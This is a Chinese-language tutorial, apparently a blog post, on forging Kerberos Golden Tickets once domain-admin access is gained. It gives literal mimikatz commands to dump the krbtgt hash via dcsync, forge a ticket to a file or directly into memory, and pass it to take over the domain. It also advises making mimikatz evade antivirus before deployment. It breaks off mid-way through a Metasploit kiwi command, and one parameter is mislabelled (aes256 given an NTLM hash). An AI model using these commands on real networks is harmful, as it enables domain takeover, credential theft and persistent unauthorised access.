在我们拿到域管理员权限后,可以导出域控上的所有用户的hash,其中有一个krbtgt的用户hash需要特别注意。它主要是Kerberos域认证的主要密钥,每个域用户的Ticket都是由krbtgt的hash计算生成,有了它我们就可以随意伪造Ticket(Golden Ticket)登录域控制器。并且域内用户受密码策略的限制可能会定时修改密码,但是这个krbtgt是很少修改的(除非管理员发现被入侵了)。

 

一、使用前提

    1. 需要知道krbtgt用户的hash

    2. 需要知道域的SID

    3. 需要与KDC通信,一般是域控

 

二、利用演示:票据导出文件注入域成员机器

    1. 导出域控上的krbtgt hash,可以使用mimikatz在域控上本地导出或者使用mimikatz的dcsync模块、secretsdump远程导出(需要域管权限)

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt" exit

    2. 在本地生成生成 Golden Tricket,执行后会在当前目录下生成gold.kirbi 文件

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ticket:gold.kirbi" exit 

    3. 将gold.kiebi导入域成员主机,获得域管权限

mimikatz.exe "kerberos::ptt .\gold.kirbi" exit

三、利用演示:直接将票据注入内存

    1. 不用生成kiebi直接进行黄金票据传递,在域成员主机运行:

mimikatz.exe  "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<Krbtgt NTLM Hash> /user:<任意用户名> /ptt" exit

PS:mimikatz.exe 不过杀软,如果需要落地,必须免杀处理。

 

    2. MSF中也有对应的模块:

load kiwi # 在meterpreter中加载kiwi
golden_ticket_create -d domain  -k ha